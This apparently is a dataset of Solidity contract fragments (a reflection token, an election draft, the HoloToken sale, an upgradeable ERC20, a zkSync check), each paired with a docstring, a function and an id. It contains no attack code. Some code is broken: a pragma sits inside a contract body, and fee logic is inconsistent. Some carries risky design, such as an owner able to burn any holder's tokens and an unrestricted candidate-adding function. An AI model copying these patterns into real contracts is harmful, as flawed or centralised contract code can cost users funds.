require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function removeAllFee() private {
_taxFee = 0;
_burnWalletFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_burnWalletFee = 3;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_tokenTransfer(from,to,amount);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
removeAllFee();
}
else{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
//Calculate burnWallet amount
uint256 _burnWalletAmt = amount.mul(_burnWalletFee).div(100);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, (amount.sub(_burnWalletAmt)));
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, (amount.sub(_burnWalletAmt)));
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, (amount.sub(_burnWalletAmt)));
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, (amount.sub(_burnWalletAmt)));
} else {
_transferStandard(sender, recipient, (amount.sub(_burnWalletAmt)));
}
//Temporarily remove fees to transfer to deadWalle
_taxFee = 0;
//Send transfers to deadWallet
//_transferStandard(sender, address, amount);
_transferStandard(sender, burnWallet, _burnWalletAmt);
//Restore tax fees
_taxFee = _previousTaxFee;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setBurnWalletFee(uint256 newFee) external onlyOwner() {
_burnWalletFee = newFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "transaction amount cannot be less than 1 percent!");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
}
|
* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
|
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
| 161,327
|
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1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
13456,
1605,
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279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
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pragma solidity ^0.8.12;
contract Election {
struct Candidate {
uint candidateID;
string candidateName;
uint voteCount;
}
struct Voter {
bool authorized; //check if voter/user is authorized
bool voted; //check if voter/user has voted
uint vote; //checks who voters voted for
}
address public owner; //owner of the contract
string public electionName;
mapping(address => Voter) public voters; //keeps track of voters
mapping(uint => Candidate) public candidatesMap; //stores/keeps track candidates
Candidate[] public candidates; //array of candidates to be voted for
uint public totalVotes; //Stores total votes
uint public candidatesCount; //Stores candidates count
modifier ownerOnly() { //modifier to allow owner only functionalities (used in functions)
require(msg.sender == owner);
_; //executes everything in the function if requirement (is owner) is met;
}
//Temporary constructor
constructor() public {
addCandidate("Candidate 1");
addCandidate("Candidate 2");
}
/* Will use this instead of above constructor
//smart contract constructor
constructor(string memory _name) public {
owner = msg.sender; //the (address) owner of the contract (whoever deployed the contract) also owns the Election
electionName = _name;
}
*/
//temporary addCandidate function
function addCandidate(string memory _name) public {
candidatesCount ++;
candidates.push(Candidate(candidatesCount,_name, 0));
candidatesMap[candidatesCount] = Candidate(candidatesCount,_name, 0); //Update later
}
/*
//add candidate function
function addCandidate(string memory _name) ownerOnly public {
candidatesCount ++;
candidates.push(Candidate(candidatesCount,_name, 0));
candidatesMap[candidatesCount] = Candidate(candidatesCount,_name, 0); //Update later
}
*/
//Allows owner only privileges
function authorize(address _user) ownerOnly public {
voters[_user].authorized = true;
}
function vote(uint _candidateID) public {
require(!voters[msg.sender].voted); // requires user to have not voted yet
require(voters[msg.sender].authorized);
voters[msg.sender].vote = _candidateID;
voters[msg.sender].voted = true; //marks the voter as already having voted
candidatesMap[_candidateID].voteCount ++;
totalVotes ++;
}
/* Deprecated function
function end() ownerOnly public{
selfdestruct(owner);
}
*/
}
|
Will use this instead of above constructorsmart contract constructor
|
constructor(string memory _name) public {
electionName = _name;
}
| 1,043,243
|
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pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// This is an ERC-20 token contract based on Open Zepplin's StandardToken
// and MintableToken plus the ability to burn tokens.
//
// We had to copy over the code instead of inheriting because of changes
// to the modifier lists of some functions:
// * transfer(), transferFrom() and approve() are not callable during
// the minting period, only after MintingFinished()
// * mint() can only be called by the minter who is not the owner
// but the HoloTokenSale contract.
//
// Token can be burned by a special 'destroyer' role that can only
// burn its tokens.
contract HoloToken is Ownable {
string public constant name = "HoloToken";
string public constant symbol = "HOT";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintingFinished();
event Burn(uint256 amount);
uint256 public totalSupply;
//==================================================================================
// Zeppelin BasicToken (plus modifier to not allow transfers during minting period):
//==================================================================================
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenMintingFinished returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
//=====================================================================================
// Zeppelin StandardToken (plus modifier to not allow transfers during minting period):
//=====================================================================================
mapping (address => mapping (address => uint256)) public allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public whenMintingFinished returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenMintingFinished returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
//=====================================================================================
// Minting:
//=====================================================================================
bool public mintingFinished = false;
address public destroyer;
address public minter;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier whenMintingFinished() {
require(mintingFinished);
_;
}
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
function setMinter(address _minter) external onlyOwner {
minter = _minter;
}
function mint(address _to, uint256 _amount) external onlyMinter canMint returns (bool) {
require(balances[_to] + _amount > balances[_to]); // Guard against overflow
require(totalSupply + _amount > totalSupply); // Guard against overflow (this should never happen)
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() external onlyMinter returns (bool) {
mintingFinished = true;
MintingFinished();
return true;
}
//=====================================================================================
// Burning:
//=====================================================================================
modifier onlyDestroyer() {
require(msg.sender == destroyer);
_;
}
function setDestroyer(address _destroyer) external onlyOwner {
destroyer = _destroyer;
}
function burn(uint256 _amount) external onlyDestroyer {
require(balances[destroyer] >= _amount && _amount > 0);
balances[destroyer] = balances[destroyer].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Burn(_amount);
}
}
// This contract holds a mapping of known funders with:
// * a boolean flag for whitelist status
// * number of reserved tokens for each day
contract HoloWhitelist is Ownable {
address public updater;
struct KnownFunder {
bool whitelisted;
mapping(uint => uint256) reservedTokensPerDay;
}
mapping(address => KnownFunder) public knownFunders;
event Whitelisted(address[] funders);
event ReservedTokensSet(uint day, address[] funders, uint256[] reservedTokens);
modifier onlyUpdater {
require(msg.sender == updater);
_;
}
function HoloWhitelist() public {
updater = msg.sender;
}
function setUpdater(address new_updater) external onlyOwner {
updater = new_updater;
}
// Adds funders to the whitelist in batches.
function whitelist(address[] funders) external onlyUpdater {
for (uint i = 0; i < funders.length; i++) {
knownFunders[funders[i]].whitelisted = true;
}
Whitelisted(funders);
}
// Removes funders from the whitelist in batches.
function unwhitelist(address[] funders) external onlyUpdater {
for (uint i = 0; i < funders.length; i++) {
knownFunders[funders[i]].whitelisted = false;
}
}
// Stores reserved tokens for several funders in a batch
// but all for the same day.
// * day is 0-based
function setReservedTokens(uint day, address[] funders, uint256[] reservedTokens) external onlyUpdater {
for (uint i = 0; i < funders.length; i++) {
knownFunders[funders[i]].reservedTokensPerDay[day] = reservedTokens[i];
}
ReservedTokensSet(day, funders, reservedTokens);
}
// Used in HoloSale to check if funder is allowed
function isWhitelisted(address funder) external view returns (bool) {
return knownFunders[funder].whitelisted;
}
// Used in HoloSale to get reserved tokens per funder
// and per day.
// * day is 0-based
function reservedTokens(address funder, uint day) external view returns (uint256) {
return knownFunders[funder].reservedTokensPerDay[day];
}
}
// This contract is a crowdsale based on Zeppelin's Crowdsale.sol but with
// several changes:
// * the token contract as well as the supply contract get injected
// with setTokenContract() and setSupplyContract()
// * we have a dynamic token supply per day which we hold in the statsByDay
// * once per day, the *updater* role runs the update function to make the
// contract read the new supply and switch to the next day
// * we have a minimum amount in ETH per transaction
// * we have a maximum amount per transaction relative to the daily supply
//
//
contract HoloSale is Ownable, Pausable{
using SafeMath for uint256;
// Start and end block where purchases are allowed (both inclusive)
uint256 public startBlock;
uint256 public endBlock;
// Factor between wei and full Holo tokens.
// (i.e. a rate of 10^18 means one Holo per Ether)
uint256 public rate;
// Ratio of the current supply a transaction is allowed to by
uint256 public maximumPercentageOfDaysSupply;
// Minimum amount of wei a transaction has to send
uint256 public minimumAmountWei;
// address where funds are being send to on successful buy
address public wallet;
// The token being minted on sale
HoloToken private tokenContract;
// The contract to check beneficiaries' address against
// and to hold number of reserved tokens per day
HoloWhitelist private whitelistContract;
// The account that is allowed to call update()
// which will happen once per day during the sale period
address private updater;
// Will be set to true by finalize()
bool private finalized = false;
uint256 public totalSupply;
// For every day of the sale we store one instance of this struct
struct Day {
// The supply available to sell on this day
uint256 supply;
// The number of unreserved tokens sold on this day
uint256 soldFromUnreserved;
// Number of tokens reserved today
uint256 reserved;
// Number of reserved tokens sold today
uint256 soldFromReserved;
// We are storing how much fuel each user has bought per day
// to be able to apply our relative cap per user per day
// (i.e. nobody is allowed to buy more than 10% of each day's supply)
mapping(address => uint256) fuelBoughtByAddress;
}
// Growing list of days
Day[] public statsByDay;
event CreditsCreated(address beneficiary, uint256 amountWei, uint256 amountHolos);
event Update(uint256 newTotalSupply, uint256 reservedTokensNextDay);
modifier onlyUpdater {
require(msg.sender == updater);
_;
}
// Converts wei to smallest fraction of Holo tokens.
// 'rate' is meant to give the factor between weis and full Holo tokens,
// hence the division by 10^18.
function holosForWei(uint256 amountWei) internal view returns (uint256) {
return amountWei * rate / 1000000000000000000;
}
// Contstructor takes start and end block of the sale period,
// the rate that defines how many full Holo token are being minted per wei
// (since the Holo token has 18 decimals, 1000000000000000000 would mean that
// one full Holo is minted per Ether),
// minimum and maximum limits for incoming ETH transfers
// and the wallet to which the Ethers are being transfered on updated()
function HoloSale(
uint256 _startBlock, uint256 _endBlock,
uint256 _rate,
uint256 _minimumAmountWei, uint256 _maximumPercentageOfDaysSupply,
address _wallet) public
{
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
updater = msg.sender;
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
maximumPercentageOfDaysSupply = _maximumPercentageOfDaysSupply;
minimumAmountWei = _minimumAmountWei;
wallet = _wallet;
}
//---------------------------------------------------------------------------
// Setters and Getters:
//---------------------------------------------------------------------------
function setUpdater(address _updater) external onlyOwner {
updater = _updater;
}
function setTokenContract(HoloToken _tokenContract) external onlyOwner {
tokenContract = _tokenContract;
}
function setWhitelistContract(HoloWhitelist _whitelistContract) external onlyOwner {
whitelistContract = _whitelistContract;
}
function currentDay() public view returns (uint) {
return statsByDay.length;
}
function todaysSupply() external view returns (uint) {
return statsByDay[currentDay()-1].supply;
}
function todaySold() external view returns (uint) {
return statsByDay[currentDay()-1].soldFromUnreserved + statsByDay[currentDay()-1].soldFromReserved;
}
function todayReserved() external view returns (uint) {
return statsByDay[currentDay()-1].reserved;
}
function boughtToday(address beneficiary) external view returns (uint) {
return statsByDay[currentDay()-1].fuelBoughtByAddress[beneficiary];
}
//---------------------------------------------------------------------------
// Sending money / adding asks
//---------------------------------------------------------------------------
// Fallback function can be used to buy fuel
function () public payable {
buyFuel(msg.sender);
}
// Main function that checks all conditions and then mints fuel tokens
// and transfers the ETH to our wallet
function buyFuel(address beneficiary) public payable whenNotPaused{
require(currentDay() > 0);
require(whitelistContract.isWhitelisted(beneficiary));
require(beneficiary != 0x0);
require(withinPeriod());
// Calculate how many Holos this transaction would buy
uint256 amountOfHolosAsked = holosForWei(msg.value);
// Get current day
uint dayIndex = statsByDay.length-1;
Day storage today = statsByDay[dayIndex];
// Funders who took part in the crowdfund could have reserved tokens
uint256 reservedHolos = whitelistContract.reservedTokens(beneficiary, dayIndex);
// If they do, make sure to subtract what they bought already today
uint256 alreadyBought = today.fuelBoughtByAddress[beneficiary];
if(alreadyBought >= reservedHolos) {
reservedHolos = 0;
} else {
reservedHolos = reservedHolos.sub(alreadyBought);
}
// Calculate if they asked more than they have reserved
uint256 askedMoreThanReserved;
uint256 useFromReserved;
if(amountOfHolosAsked > reservedHolos) {
askedMoreThanReserved = amountOfHolosAsked.sub(reservedHolos);
useFromReserved = reservedHolos;
} else {
askedMoreThanReserved = 0;
useFromReserved = amountOfHolosAsked;
}
if(reservedHolos == 0) {
// If this transaction is not claiming reserved tokens
// it has to be over the minimum.
// (Reserved tokens must be claimable even if it would be just few)
require(msg.value >= minimumAmountWei);
}
// The non-reserved tokens asked must not exceed the max-ratio
// nor the available supply.
require(lessThanMaxRatio(beneficiary, askedMoreThanReserved, today));
require(lessThanSupply(askedMoreThanReserved, today));
// Everything fine if we're here
// Send ETH to our wallet
wallet.transfer(msg.value);
// Mint receipts
tokenContract.mint(beneficiary, amountOfHolosAsked);
// Log this sale
today.soldFromUnreserved = today.soldFromUnreserved.add(askedMoreThanReserved);
today.soldFromReserved = today.soldFromReserved.add(useFromReserved);
today.fuelBoughtByAddress[beneficiary] = today.fuelBoughtByAddress[beneficiary].add(amountOfHolosAsked);
CreditsCreated(beneficiary, msg.value, amountOfHolosAsked);
}
// Returns true if we are in the live period of the sale
function withinPeriod() internal constant returns (bool) {
uint256 current = block.number;
return current >= startBlock && current <= endBlock;
}
// Returns true if amount + plus fuel bought today already is not above
// the maximum share one could buy today
function lessThanMaxRatio(address beneficiary, uint256 amount, Day storage today) internal view returns (bool) {
uint256 boughtTodayBefore = today.fuelBoughtByAddress[beneficiary];
return boughtTodayBefore.add(amount).mul(100).div(maximumPercentageOfDaysSupply) <= today.supply;
}
// Returns false if amount would buy more fuel than we can sell today
function lessThanSupply(uint256 amount, Day today) internal pure returns (bool) {
return today.soldFromUnreserved.add(amount) <= today.supply.sub(today.reserved);
}
//---------------------------------------------------------------------------
// Update
//---------------------------------------------------------------------------
function update(uint256 newTotalSupply, uint256 reservedTokensNextDay) external onlyUpdater {
totalSupply = newTotalSupply;
// daysSupply is the amount of tokens (*10^18) that we can sell today
uint256 daysSupply = newTotalSupply.sub(tokenContract.totalSupply());
statsByDay.push(Day(daysSupply, 0, reservedTokensNextDay, 0));
Update(newTotalSupply, reservedTokensNextDay);
}
//---------------------------------------------------------------------------
// Finalize
//---------------------------------------------------------------------------
// Returns true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
// Mints a third of all tokens minted so far for the team.
// => Team ends up with 25% of all tokens.
// Also calls finishMinting() on the token contract which makes it
// impossible to mint more.
function finalize() external onlyOwner {
require(!finalized);
require(hasEnded());
uint256 receiptsMinted = tokenContract.totalSupply();
uint256 shareForTheTeam = receiptsMinted.div(3);
tokenContract.mint(wallet, shareForTheTeam);
tokenContract.finishMinting();
finalized = true;
}
}
|
* @dev transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred./ SafeMath.sub will throw if there is not enough balance.
|
function transfer(address _to, uint256 _value) public whenMintingFinished returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
| 6,882,857
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./partial_match/56/0x605b391099D88F67E0B2e6ACDe16B633dFD266C4/sources/project_/contracts/Graphene.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract Graphene is Initializable, ContextUpgradeable, IERC20Upgradeable, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
pragma solidity >=0.6.0 <0.8.0;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
__Ownable_init_unchained();
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function initialize() public initializer {
__ERC20_init("Graphene", "GFN");
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function mint(address account, uint256 amount) public virtual onlyOwner {
return _mint(account, amount);
}
function burn(address account, uint256 amount) public virtual onlyOwner {
return _burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
uint256[44] private __gap;
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 11,157,500
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./full_match/4/0xDC750c9a411e3BfA0fB0Dd1248251D5831321352/sources/cache/solpp-generated-contracts/ZkSync.sol
|
wtg11 - ERC20 transfer fails
|
require(Utils.sendERC20(token, _to, _amount), "wtg11");
| 749,329
|
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pragma solidity ^0.5.13;
import "./AccessControl.sol";
import "./FiatContractInterface.sol";
/**
